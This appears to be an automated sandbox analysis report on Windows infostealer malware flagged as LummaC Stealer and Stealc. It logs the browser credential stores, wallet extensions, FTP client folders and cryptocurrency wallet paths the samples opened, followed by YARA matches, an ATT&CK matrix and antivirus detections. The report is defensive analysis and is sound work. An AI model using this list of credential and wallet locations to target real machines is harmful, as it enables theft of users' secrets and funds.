Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP

Source: C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Directory queried: number of queries: 1056

Source: Yara match	File source: 00000018.00000002.3314964247.0000000001402000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b6ea789a1a.exe PID: 5880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b6ea789a1a.exe PID: 5808, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000019.00000003.3262105561.00000000013DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9fee9e49cf.exe PID: 2608, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b6ea789a1a.exe PID: 5880, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 23.2.fc0b992f89.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.fc0b992f89.exe.ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000029.00000002.3311731465.000000000157B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.3116101099.0000000005700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3156445874.0000000000CA1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.3274962236.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3158433067.000000000186E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.3306253227.0000000000CA1000.00000040.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fc0b992f89.exe PID: 5628, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: fc0b992f89.exe PID: 5736, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002758001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	511 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	121 Windows Service	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 Credential API Hooking	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Bypass User Account Control	1 Abuse Elevation Control Mechanism	Security Account Manager	256 System Information Discovery	SMB/Windows Admin Shares	1 Credential API Hooking	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	12 Service Execution	Network Logon Script	121 Windows Service	12 Software Packing	LSA Secrets	991 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	22 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	381 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	2 Bypass User Account Control	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 File Deletion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Masquerading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	381 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	22 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1002753001\configuredInstallerEXE.exe	100%	Avira	HEUR/AGEN.1360656
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\8SZZEZ7G49OJ4AUNR04YUJXCEXW8.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
